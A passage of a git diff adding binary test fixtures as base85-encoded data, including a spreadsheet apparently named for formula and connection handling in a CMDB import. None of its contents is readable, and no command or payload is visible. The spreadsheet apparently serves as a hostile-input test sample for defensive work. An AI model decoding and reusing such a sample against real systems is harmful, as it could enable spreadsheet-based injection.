zT!z!+AVn2+H8+=mZd*Kt`?F<0>oZ#FfiHSWz2%_P8wZA2Od_%OCI2AO2i|qe`#_MEbz}{z!4VzRSAUcu?0V&OTsY7!4I#2oTvdR z*m9I7;n@JjB=bA2kwGYZQNle0w4;?;2w=w}gPZd~cRwySASFy?EBkp|UPq)6LBH}k zlDUB|_-w6to<1CiXl)?f2NQ|Zo&(Sx{uLg8!Z!qfcNidIrssO`ufY>>{`J3UZaqut zIrxD~f;{DyNbo2Qo^-(xHgfROBer!HSAkH>s7QZaUF4(yRBX~@0u$XM1|BBF^bW-m zOY}|aBf-Oj$Y{|-F^Ib+P39@krsAV#n_L~U(?%3fe$NSF)rHh2q;sPL;TrA{GCZ3} z9@Po>CcTZj5WWd~Ch<++iyo`^YFL!g23|cls+M4USnC|_8GNelk64_lgA?RF7)*@B z;K5*&AYJKoiBCKj@8Xn$*AL3wL7iRh4yi1VyTj*$eso1S#`ua_3a}M1zMv~&kU2qn zE{_N~!I&!;m+HS6=Mm9p&j2qwub<-wUId{@X}|gR6aOr zunEh?21b2|P9~P=J&FT^P+2x`YNSDWQRM%?AOP-=@DDe@Y$8MhNEPz{I@V~G z&;;J%v>OHJD!WJky#e%*^&sKW3S9t%#fDY;B0w0p%8BWH8^?}@b=?=Bj|AA7l!<9Y@{$mI+J<=I!7cG%+plST zQgmw>czX#>OMr79BN4nZ#7_K1iST<;;+`{1cQK=5(Nml|u>{V9e;UaX!%idn60=9d zu*07y{1gkmj{JAl>V%XezUI)P! z>-Iz2a_$f5!6XS46o5$_VM8G?7Rz+jAQ+I<6CrsZ7>kg)tOHbcRTKon$3@WyiBe|` za4)_^8UDhtNL{ZsA ztXBC^h}WrwMWKZ)z2_FNM=&z^o96Zd5i%9N2bUDHh!GO=R5e2I*}!|30x^p8#y|m^ zalKVG^WK4rgahK-ut9pr?e+BbC&gMCwqYSecDr}G0XZDdt9dU#MO=>9pwB0YdLABt zeX{%)p!SH7N`3fr3$G}~o^I)jJnW-@9DRXh7gBlu z_#n18gwdsk+|1O^C!K=llTX3X_9v^7E@e{t(*j#^6!wwCh(0OM@MB;0r!LofqlZ0DexU@-G5G3m&7c+|maf+(S=-qV+3A zPs)3v^rV6}k)GuH(I5#|et3*G!IlQYqib|4*tLw%0%U36Ghu1`gmn5YZ`Vw+@-xFa z_vX6a2X9owu_xPX?7&P@S=+0xoqO9zF|Un`PI3t`?{J9xWBtiH5ac8}c}HK!i6;h0 z$8CLysUc#$k<%-q&b{DGUr4Cz7dZhItayKjO@clOoFEz_% z`t<5JD2l){_=<57bVQyQ1FT`lfKQB}XL@l7O~uG#Rsf$0KGR!nsvh#=4|8D$hyVT{ zeIQ2Ob6gNH-psVf{~U)t$JM!MfS{iZr3RN-Y)afzemJv$O7fj9UGZk77&6L$4GOv6 z(=0o7$0O(SD!bwd=kpjAiO1Vfr@~)~QUt%{iU6Jg9vA(8XpjLKYk9veg~TJl-MhSB zaYEGfcMbx|#lBkp$Q^0iqyd=56`tYzv(C3!;1>yYq3rJuwP*BZ@!(UqD81VAST6U; zn}3j8Lyy0`E1TgDOb~V`U{5b_jUafbfc$|USVEqP>Vu9P2=nh!1476#3w&h~s?BBajm}e$C7~c!aFt8}K-H zo-wJ^7DvQjxqu#O^?sV0j?e%QP@?rbc@Xs3CV&7aJnGvl`j?|1Hy2P@`w6+Z_p>rj zDO@50K9r+$lre1u4ZPcpkEVO4CGf~S=E@0ql)hRMJ@Wzy6z8(sh9Nz^5A)cX4AmQz z^xWTZJWRSCywIX_HU=9Na5^%VG>Og^l?bK1@*O%?oBDWBWzy$ie-D`2}I z+?aW?-5mT#W>0)TcA=YAT$b?VVyX2sj@-;D`m4CN-(7_L#tgl5`!7R-yb^LxezI(KM=9+sIK(X=6x5-&DtUqsm6FHs*T zOW^g-E$Y4O_gxw}H&R(nPshy4$i)A+!4{KCDiJ$sHtOg!G&HjnSBPA7+;1LcxJhQ- zq`8}!0p{QHwoRhN%P}ks{pUp~%cw=}v-;Iv57L4UC#H+po>wf9tb8puMrVW7mdpN6^6tdTjEMLnUd~o0DKFID zKTCb_u$)#I|4XNTzZG+8ShWqjo)*9C^(Dh;{#Ww;P?mL$*k-k9l+GqA!xDdoh*h$( zV1gsB*K;RG8zYoc46kQcx(b-zl7_!VuUK_sqmi5rcw@rY>q^QDOG~%h92sLHtBv+L zH}b+iT{4eYEi1D+!q94S$)&Lo;fKp_O+9L~I`qyKfAGE^@f8+^Zn?MHfnx67$-Dl^ ze@(=?SMxG;d<{09)``ly89z@#hr6}Wr}3?Y*Eg{q z3$ITTi#{!2Ypbqa9%5-Y5!)E!)FFql>lIBV4YV<4yp35i%&ET4E2cz*mLMi@XILH- zO(}oAq0aqgxc+@qz>0xZGaO$Hy#A@N!m)u?BaE*GyFSKb=s>HPfSZ~8F>pOCVYtA> z05hAr5%U9RX4~NPjQzp`nc4d5d^3xK*Si%=Aex!SKwzcwli8+N(s{Kz;t#(qP$g4@Jl2e$5l z+wHf1+`5&IKFGS=e$%i~ZvgXd5Sr1vQWgdiOo@}2AeLAOiY1t@@>Ti!7dCP+?x+3@B(aM-vrHu)erLxR=}(VeWuHu5cbE7rvD!H`Qi{$j+Z_MwC8v zh#e+>>}o;DKJC=u89PV3*?#_2Mzu&Vb9wv0slPA!AV`7ri{>0SzAtvD`Q7wS`Vk19Clq!Lkv|^2b9&KOhof_2<4lr9zY5(s_0G}Y z+J(+j-SwJFg*4``x-Ii=TkMcG$Ik8)4HBY1n;c7-{LCnJjE#``(+NeL`Xe{DqlqT{B%vM@S78vJ4Loqe0R<(8ku-PVyAH3owxF<2xeio zIe8`gyCisrkKUBy?{MiByBzpeDOh*cZ=L4rPNiVFGWaumBv=jAk-K};kj!o#3IDbT zT*~}mCb#$&ZZ|J^CHxy`DMo~)=-B1Jzk!x=313QL-t>6zXE4B0EFT6D)H)qB9MXY^9*6lsWByjmB;ocTXpzRh*i!)6=pHoKp^ z$@*!4Fh%lh_mf7fp9bec|AR%gzu0Uy&;7U&Yxn>vLzBS|h`1-*{LKgC(-A8-PvYj& zERip^xAk+jgj~P%nvnDRNWm-S@kBrhwvEuw(FwVJ>3>D|DCuw3m`{dNVW|#t^cEqIZluY;7I&3 z*Id{6Y!6M<9W5xxg`n1pxhNi|q;o5^x$^Ey8 zfTYFFp8c(@G)2>5QctaQRqU_QZM4uhhNi_pYvSb)NTvJ-L_p#Awsad4q^gyIXGSU< ze?$c2Q)DqeFiNi!eEkw*uvz=RNCc^ynb(goP`IOEXzdX}`-)OKuI$`D;g z0E&V+NT@tGk#!jl*`aZlJlNNFyeMPPPL=o1J#DM+-1mn&h0mqgM9?$vMP18&uF zUV&idEobCyK3`M3BE zqT5at3B~rPt$d`*3HUb<-W|h@@{nDAaIE|~{2QnO97ZS_ud77bIrubY;A3Ga(|~>-2od!0U2(A>tGNRc+LO*HtI8*ZJ`7%`Qpv z^@&Z(_0oyW>D=Xo;^`c4PUvQ$1$b2#v9LPeb@@%`X4Cm*f4}S|dDO<}@~U?Z=y`L^ zobGu&zI%OQkO1t=V>S@HF1w5X0{2&2Jg%+=NCbdDXRqs{_1D{uiH%>n;LX9bix=>qH}B?Zco!sa-n*Lab$&42GD~uEo_9TY^X;T8 zeeVW%bnXS*%)8vZAyJZrzJ~*`zWzRVf#g(!>VP>zS7o}6J;+ddERw6^U=Pq|oulVcjjzvBXvZ6;H zWSj6NSm2Nc4?rjTF>WffI2V|c6}-TB@(FXOl3Gk#!+F+g7hzT%Js2M9Ld<$89-A)C zdb;+=5WlyVp9;Phxjv}EH{<@c@I2-`0egdfk<|oiZm>TFA@uZg8`&}Z#wvrMBc`4& zNuKGp9E>BL2bGK|rXZ%ICrXJD^AHRL&1Dqkq#+cM(O9Lh=Lf}$WuHp4HkFTn-okGr zy|eXC2Z9o{MT)*0A1F#|VBE`cQ=n=67&^FKuan}=4m|d~VJn^9c6#3*YJl>g8C9K6 zRMF$lyErTMLFDAYE2!wT#tH=xNh;G2ON(XH`}m8$3BylrFq?K zoU0yfoW~3Y4k(ZS9WK_sthbRM`;FUTZ1^#^TyG7O2}yYIU$1;yV*cz>u;g{U5Ce*X zuSjZ-_Bs+2J>5^1J2cXPz!@WG4~=;rl-=P(DTmjoZ$*h;S;0aYllDt~iC`&Fn!g_j z`$R(=d%gtTlv+1M?TxdBFe?jWS=g?IgFr~TrZV)N1eS*PWoi}I0||R;<4OnnPts;M zOrIX@pe-52Z1n@o8kVq}I5{h}#IiG2AYYj+MN*1oScXO1XN{c6s$Lv_xq--Zu9V@9 zRl~~pK3fs4N6z8RC$xlMX_5Pm9o(1B$|>xamjZUW;sC%C)2Gs!9bw~pnhO*8tl>%F zjlqwNRSwL^uR_{#e5C^YY)6oTVyTm-pQJ$P|1js62w!3aIl3g&pN{H&*~*e1 zGOKitwn4!Nt9(EGbSPlPQ=>L-PmiZvuDeRJSYrVgNacna5d#gSwOo0C}bAWG@__CF6bvgb@DbCU(4_0J0O5F7(IEb%`}MV>c3VL|To50sMNAvFml z%py}TlCR@5*yWU;QeW!JF2SVKOKkw8IzuWKGKzQWD@ewxNv_?iKG;a}_eiZRCOb0N z!_E7kXljC3#bU12OfTAYH$AAo`l>o^XPh@<3Qil3szX% z!Y^*x9LfDH`Tk9~+H8av1|^9}sJ)zm>SBcAAK~%KD|p)9*6D1Oddu)|Z4CQ(BRTel zY4lyOA>tUo#ZCHX;V)EDbJk2e*t>Gg6%`yBsnS>ja?6|RzNMR;wvef{&zQ8jcg~5V z4dtU;E2)F?fPPWQe<GyCOH^mU zosj<3t&=BAT>^^Ci_gUk_z-Gm<^1i5YaFXO9BsCU)lbnbl#gD2*9K_Kf+V2&KUn1ADv6>IebnSIimlq;i(-^^up zM$txi+4pM(q8xsBtl^A8sd~h6`A7!;RHAs!i!qjXj071I_UKLqQOeRdLCT1nTyrJ# zK4LhP!`yoHbw21R%-jhl{GnPM?+GG`>j0vQS^W3NE2EeRh!54|;t_Lb=yQk@AL0)S zi@%CptvU1{Ghlf2o`Ls9w!0!ax~lPJ=+I0LURFboR+_^IIdqL1+O-fjdP}f@1fU_l zgF?c%L$fs5!lh0#H`)yS>!|63)db6fR!e6p2nggKqh{~mYH4EseUL`A=WG^v&^(3K zfq}HU=AMyC!XKXdNYo9@n&;RJ2^@7$qG*O0EhjQ; zPufp%Z%o2OzabCdMwz`$Mhz(Z&_y8_vI2d)TTtYvMrBHRARJ8k@hU*uJnHOYPRW+ZH1!>^`(sYmgB9{SNPa>NlJF(SZ3*0DRzk6I?4IXsiM{ z0IIvZFw5JrqMQ}<#(PM8NjXsg5iBRnnWElucKHdPSK`7i@ z3?sBmJn>9+2weY^>S+uj=`A+i&@&||+#H-CuV)vAIu3#a`K1<=Ei15y6XTz@zsiyp zmMbcnaTf3ME-mBNs&m#VNQpL8Ag){`RxFc;Kp?a=-mf01em1e%ks^X$-)9IyUkPsw$k=t9@MEMe`{@BoOwzKTt-(4mTGXs{?Bh|_Zm=YDUZ^a7D9QRT zbzEVLjJ@w5R@cQb6@BBd`h9<& zl7Qj@%FRQc9vmqKq+vEx^-$w7CcXP6Yc-X@YJd#&*j`Jmv7X$g&n}`nT%XDjr>9B~ z$8kQtqJKEzsxfA^k>wd$&)-iubfL@ylVdTIpHPB0t);dZwE^4S>F@Zu8X}16O;}vz zw=Rtk;`<&sTdW3^1p4LtxB&xD>*;UH`*h)k!oQ$hc9=Q$%IZ0#v}PkWX&0y#WP5*O z`+8N=$}TlyESr290+muH5v)E7#Lsl~Go+-udg~_=K}ADiE@-l=VnD^MQ&M%MHYQTi zW?E|1J!M+@=3FY;#Nnfn{eV%`R>g$rD=Sqkv=C2Q(hAE{7r5*~9;l~XF>Yc!V_p5hwD&65n3cUQZ=h*PMM;Rb<}j7~_&}nj_@Q?Xu+Cno%6sY} z`+_ds{n)%H+iH%+YIVhogvmCSuF6_t^xaE|obIRTuk_Jl0=Q7ewT2(<4EAAZU!w5x zown9ze%5#7@3DXD`c^QXDHTU>GH%6wlUgrIV%O-fay;m;0&?){n0w|}Ig)|3<34=N zbr+=c^Zll&Fpa~RT=W_0-Dpj!csD0wiZ`m*3I$G0A!n%lJ{O&)@a9388r_GJ2>wXo z=5LQG`|S@nk={19%M4BONiC{fIeG@f@|!GP#**`fFSJ1v1Gr`c2=mXc(+4FVew~rN z7Pj#-Q8~YMuFzqbZiSu0_lVH4d#sLyJmQru5i!#pV_{BYH1cH&$Dz8EJ=rW=fLNZ| zdb~Vz-)l&NZTC!q`n=qKb+X#swkyYM#Zm&uySudTnSkz^(lfR8bCX3)SXsEanRPD< zX9Myh?YtQ~j&ar!>1kpC-ckx%=l-ksPlNL8G`mN*t&tHZn%P2e?yk`;he4PZT$paa zj*&gDU*}!2f(2+H(1GPKF$Bc-vkT~yVsB<>XJV}CU}tXq>~{K%)6%nB;==HpEBp$X z6Bw(CEmOPnIh(rn8P((gt%XiVPH52yGIY|tfaez$X9r6b@s(6&6tRuZ-_$7TAQ|VAlf@K`kqnFM$-c(xHECC+S|~im zmfKu9cJ`|0_{66BuMfdV*m)H9f6) z(^$6)2k|l4_T$Z&^-G+G*=H)kEf;p4o?qTKb1YsA={q0tW0TcE0ph-y1ym;xxxbvW zU99PG;cp}(soT^v5FaGU%vXpS9ZQz`{w=&vmypR>rpmkAmvM;T^q;OuaRyFkMks%5GHrpu+ zm83;CwTtHUjHak5BK5Uht_DY~ocC3#EK6 z{Y_GKzu6=6o?-IdeCS;!$}@WMJ%msA>>D*KpC1xA?9$Y6SZS6%R`W~qNGrtR0Cqu( zJQHFbP?&_4=F`3iJ5Q36< zHcRb?MK%ia(Q6{%DtTgJgk4^mPx9$N(teM7i*0i}TAKDcyKFX)=@cz<5LLE z;>kEBG6$(&P)%vD-DAYwc;5q9%OP_Kz?;iW>)d|0?^`5*+ZG>WnQTwq8XEB-l2#yy z))&iIn9O4$y;5&}Kj-FNkpfeFO&Z_3V^iqm96bgmWo(Q@_+&y)Vdn<9K-9Wo^vP2z zE5Ip6pqoEB1}(!?l?4)M_!wy;-#6TzEE(t_zWoE-DUwIC4YCv)c?9jJ!p%Bg?_VmA zol~zlC%d5n<=KI#XL7G$@{V_%LN@&r5$x6t;b(Xb79XT_seRr_A#d8=rDKURl&W#j zay!94ilmY56-~)vkB#2ide>9G>*o9cu_!Vg{*@9=1z_S{o7fZ6x$CXOn-)e?{x>cC z(}IF4C~n%K&d`_+&n4?W;~^&2wWVf#7&rNP`bmL(LL8ggRm};(L84!EV=gN7Ba~0_ zL82IL(dMAZffuRPw^CDWjvjP{2Z^>Lt=2)r>QOqWdAjd`gSp1`;U~f&I7wngK4>u6 z_WZwA50A@-{)cH$W2^jQTq_o0V@(Qv`=rA$z*0D+&W0^ zOaxn&|IlYNGIIYFg}i1;#_=#(UJc6oeaR*U!+v>A8@?A4wfhl*pH`lu1sW>KI0eo? z^pZpBw01#1AgWf~{ks@k0?GtRDmIf3)=ZZQ>($L9Yg|KFYA2kC zoK#G>3^!&3F*6DheQVHiAit&8v~#v)T&5j-JiXGLyaHH! zy&~_7P|5M8go}2$L9DRQ^&K}MjJi+G{QlX5+}Q4%Q{n|zzA46lSf!(iyyf+JT}tJf zD1~=epPr5N?KhmdNtV_g>X*AxKcyi^ld=Dj*JR2*m)ppMkeN#AO_79NmARbkh(aM& z1IP23j7NQ~`2*Rfrd9}F*W+wWc2{ilN^do)8qcK#a#}kai!+tjq_J%OwLm?X$TmFY zj;+nI`p3a5tQUZ9)H!WJ$^_j6nbe90s=LK#6E7eYq5wAD8>;|YQ19Ttyt z9}Zw0EXR&I>=G-CK2)pfH)1|`C7Cf`o2xz*!y|A4AI#DJg5#+G*BJf1;qqO~MDiNK z7=7IIt4U?gL8fp||H7x4oUDh{{$V}Ru< zQwp4~-**F^U$Nq9H2JxvE2LF0`58v_Zc-QpE5rQRn3VHOHq+5qr!e*dgKGyzv_ka!Gy+lMfPYLPir3Al;H`n!3Vz{#prxGkHUtOQvZSc++*`|^=VkA z5BurXRi3Ca0#0v3Ut2u^8H={O#)fr`Cqt(TNhsaGh#KHTpL|LB0ZS}*As{)Ll!105z1f}`c(rrQoYtl8Lsi|`fc}cfdY6g~EUw=9*h5(lb0|KHIC&`LBlAa zBO&(atHai8LMavl2g4O{xc6+9a=vG*DIBNs-jxVIlFC~TlduvQf!RQM}Xl7!tVpBJi@ zLKZhE9Y&S7bu|OS5t!@B^{ozard4fx7EpiUu2d)a>1M(lH?!0JARVOqe(N%Zba`Wj z6j4{46V-R+XG#uZfI;_iE&86io`PjWj&Z%;po6TAe(%2t6wZGsKN|B<2AUNuVAppS z&5nCg{h`Wx9aQ?GdGSr?(1xmpjBZLw<>@--7wFR}A|fI-Nq9hJ0{~k}*&FNu+?ai} zo+$ck;lh_j`47Lf9jq(^LSlXJ%hSqZ3FPebiAef(1_3Kd8}d@Vbg?p%tAx4QdG96R zq|d$EW5y)ml6oiBA&wCqjVxvIjN7J=6%plXa^!@*UQrAAMm?`F(QG9jrqS$aCw2Y- z=lwI4>Hu{l{|Q6l^5A-AQxmm76yA`K;@U)ZiM}u%hGF-$G43t~pF7ph99Hjn0+>QMFtmcF#Gr(I>+1_cl;3T*CgDw52~Y!94l2D@<_B`r^;H>)=t zMipuN>P~Xn^lrc9PF(*QQSexLl=wZCe2V2SAPWBxOMoA-M06WVD`$x`j-8*$qWxc$ z3X`2rz~D1@=qX-uD=~yW;uZ%WBC-)q&&VDI$HdsR8%Y(104xo$q<24+lh`^H8v*F$ zNe;KN+xZihuObKr8`U3M9oRrm#TE3w@%Pw4d0Q&mdNWb6`>Hcy&F0pfZevO5=UB2Y zX@T}JCjiBgAmp#gTL__E{+9CG|5bT`e@rCRRGR%5P+HSRkZR`)uP10S8sb;Biz>K? z9s#euI$!-?jwQCg97|RIE|xMm@Ns`jd7l5OeAD3fS+tVxo+^Vo$nv0B^k0@gIQcT+ zhw{VnwJp{~@1LxobpuKsDoF{3`A?jKegp}&xxV^j!bl}sku7+-6J~5M!)t# z+IAeAs3U8nOBn9XN7UIva;!EAGM}rY`)}Ui_31p`mIqo1pFSyEG9x4D#2i zpt^U4e(fq6Eu^0q3k|=535ri$vxH|@h}uHV1NC3#d_FjoxN6SMfLUH_B;e+|@}i*0 zg!0D`|Bn;WtSmoiFMm6Y&cA#MnnufvozVg1Tk>?qDe2Jp2NO6Ik^pwP?(HlSjLNlx z{X`oVd1pP-j#6Emtd=D> zyM%R%Mwf6iF;a%Ty^)8GHG-Pg%ZVbntWZ1U%1rpuxKPiAZ1)0xWIujS$cZpuexL86 z*O$`fhxX7vw3h^F-{MqOUwULi%3@`dmRslitKa)83nl%Q>3M%r{vQkIKm9(I>wn_+ zX(Io#HRP}R{p)|{_mL3D<%uA(&wy$Xs6R|^W#V9HZ0KP4U0V}nJ;fy!G!LQRnDm z^6=U_ew8WlKsW8j_A*bQ9t!ilW+Y-6+T7XFF=FxYzDJ2UF)?H%ps7ROcOc9MdZTe(rnHgr!P?h)t}&Z2Ev9Tbf_dha{@HOzIb3+r?Q&O(W7NeO;oJ2 z>_sJHjh#-m5to-5(nvH&oD`tCc)j~v@G%Q_j9KqhgTn(=*BHV4c%a_vW4C^oGD^9M z3r|NM?9X1h>g<9sRmtP48XhOiimRfGvrq;*&|de?C&&s2YZ{3*#fv|uah?Tb<~T;B zIEM{XCT*LPtM=*HmunJw3=#6+L3;?W;DjtiWhuSC`PGA;e>xP30U2=wv=N~BVZ;}p z+?<1novMk0!}lZ|GuV4prl;oC+o~TGriIa7I?>-NEF|wIBu7(W7J(&%>ZG*5r|5LD zg0tl`7J==o<>De&i#rSVgy#lkJQK|3cG-ca)GqMFd@51JerUSVXIKq=#xj_DQeefg z4+H&F{=Sr)Z8-Zy^f|HI81nO&cYXlIslZQPi9ES4>IOL(=2s={J&};pZSyye0^MHO zBvh5rOi`2#$K!rgZJt_);cRu1eE4o`2ftTSr|JBdxnD8DWmD?XeY2ra`8++vpo*7J z;?l7(2yhvW;?>DiTM>7iOEZjOW1|CspDUw_ueJI=ORNucANYzFz{@3pHoy1e zg9IkdqqWQsd}_6VEb%OnEE)P>q>wSZlYLnAA#URG!DDwbB$KaJcqytZEL>kWLNMiN z;-qKB;ZB&Im+c3?*a|}J)C}jI6%Cu&z-AyGaBkVu0*<7YXqxMd13O9JF10EFVePHR z3JA?%L{4Fl^~*v0BQ%|fJe0dgL6aPtN0$w2QFR-!yV05XTnY6!Q?l|APIYu%-UJ(K z?d$wPDy*`^FHw(o3lLdT@t> z1wl0l-jT`>e~m^ty1rYjxjf!BJ{KmeRoB=3#Wywok0$hFP{UPnbH1F46t0jF?k6^L z)qum1@~>sHCwRZcUHih8?O(GG`_J|n2D6VjO`KE=oishjK5N2KfMnmtU(c~iFKB>4 zbMwq=@}rsLA%p&i11$Ear)l-8~-ted#zXUq25-71yUE4z=2Xaq0xL|BRi?- zQ1O@D-M6x{h04vMA&pa--;&KrIP|7wGOy6B^Ruw24vX{1k^C&&pKhJVzsv0m6b+?_ z>(S~LD>ROUNeZC|_1kO+_|_Iz#gkfQN8T-3q}NF+WxP@F5MESL2xVy`oaVrv^Y}Go zw>hpcMyn4a4gKDOV82xY6mDGKlSGBUI@5;Ze4xBh(-q_F`Qzc_=aGWmj#H%=Da9HlJs*u3bI;aOSdKqmr`ne*J`vtg9>+iRqNr(Q z(DBt8jD$h2dLoM>CihBS9)mIw#!(B66;a(pq@6)C=KDYC;fQ_qMgIOFmx+k)c|bt| zpH*xwwmUtg`wa;pDH8gp`T=#W`py+xs<)dU6hJwXqDkQ|D z6mjS_u5k4_FB~gHsn*dea+hfpgF=Imf|1r}M6v@bMO;KRDT>kb(e=^N(9_W3?<4y0 zLam35NN5v~MdC;Yzr3fiu;w5zy71|mGy%PJs|QLZur0UKzw2FO?}IL(#G#W1n}L*C z*;J^}&^1j%{nxIUi?MlaPkNs3OHQ7{{JP=m@GFL@0U4A59s+{)_YT4=w-Ki{^L#`Y z3mA=E5Jang`c(Ozdj+Re)y#=q1LjPuB}Po~5f|4mTe5tsWo329;Od@q;~`PwPQzM4 z$7=-oE(G5#XC8at03L3CD0(X(orC=NONVOc`X)g5X?UHBsMfG2N{a34ksJd+mcMP0 z{U!dwr?o0W{CBS+oVUY}V0V_aR&*i}kW74GEX);DfpJ3Pt=Qw2Lj?Udh@%oF`Ww`-dN`Og60{81;1w;&E0{bpiCHOZ_A}VfO0Gjb ztTyE%$>g^(t<1kR@A#5gVCM=cv`3__q0+hW#&4A}7?W%;B-p&92g(qQ>dT-!kA?n9 z-w+MJd9ISFE3r#1r`v?e&}vsRzR3y|b}YoEM%vTlb@#w5L(2YGyNiE|JR^H;JSU=Y zb)92DKy&YLdh;jxGuU5E|JU~_yg$#ifA1y#m-mw0T;X+|pwPsD1{JJ8p=oSm zq-1CF!k*d4#?IvXWcxDuqXH<^7_cjKi4wJ2@TOY4coY_1Jr&2C>OItU--IYDWvz)K z{L9NX)aFx}A=96)Zaj!1n%)5|H@2XkR?aeNv7$3T=QUMWHyL|rIGh@6rn4-%D%DQJ%> z9(?i}yF!^BlZ=t#?d~!qT{nXsS~`A717kN%zaY@G@*2jzY8&3bLM>#^P!*N8JHYB> z$-CPOv2t!w-!*j>s6A6rh-H%W+Lg()C^L4rKD7_HP5o$H2qITtQ!X4+X_d*+yg5A*cUy%s-bshn`N5OjjaIP|!_CUs}2PK}qFO2^( zmf?#R-);3qP0wPQ1?wfrmJn_ex80Pogp%$-MTx(EGWB+v&9a4#T9jXQvT=)NWf+lr zAMEt>HP0i#=2NMy9hXRD|1tQI72`+2(taVEa`{gc(wq&-1Y^2fmGGoWUMMK6b?F`K zL(7(MnKcPNfI;}Sl6^G$nbxtf9r~TLSOCq;!%!?jkF#E5ig%+5tAZDH%d~hzTw0`4CuT_40~z`DNCVjqhC36t<`_nLEp&8AuX2G{PqmnuFPt=eSoFb0%QB5A>%Uz`f{jP z8pdMzWKH~4s{`omO?^N>$d~2`KhZ4~ob+h(ucQDDi6MRIpiX?}R#}G#SA;QxNdB1iaWiuxHUH|3k{{r4n!o z1`Rfh`cnu9Rb6N>%1F!~Qf~Vxz$tF{sT@2Yjb3npYxLyg4=J~e3E&hTS30pN(0xeO zYH&(F1mqu$?rkw1oRVl=AwmeU(S!*&WftoXDYsQ^a0=JB!{Rd{2#8c>NU(8Xq4-0} zZFv}+LeD^&$pu>X=0M)@tH1OK{~_hJ(g;pD)OGQN+Jb;!)P{$^`^D>c#r}};qgo4& z0l#(nPm(vJ9ShX=;RU~g3Jw6jzH|q8&UFj;;9Krn;N3kRa8dB) z^gB^pfghsat?J+e@NTm^La_LsXmi(l1`Y)8$GQW)llT+hU3V5Z5WL6f4p<}kC&0Uo zCvYHm-_RYfQtD5DcU?r_K=8JiJK#N;KLOq~(SQTNTT$+Skg|UQylYGW2ZFbE+yQ}q z2E1$b00)A%Oxyu4L2KHtOTbSz`hIGl04IXCA>0wq<^P0u*OUMb1TXF10Z$Zefj<}e z!G*y~%6GyIO1Hvb1?4|1FoQ$E^I><;7?t0F-c~okq2LFO!u8eAOwM0Y2SWb%{vKhAebvM{jUe}WG5XAiVLr+)_8TtoaH&y!qk literal 0 HcmV?d00001 diff --git a/tests/fixtures/cmdb/topdesk-formula-and-connection.xlsx b/tests/fixtures/cmdb/topdesk-formula-and-connection.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..6189ace83a501c4656baa692782102268bb47daf GIT binary patch literal 160968 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 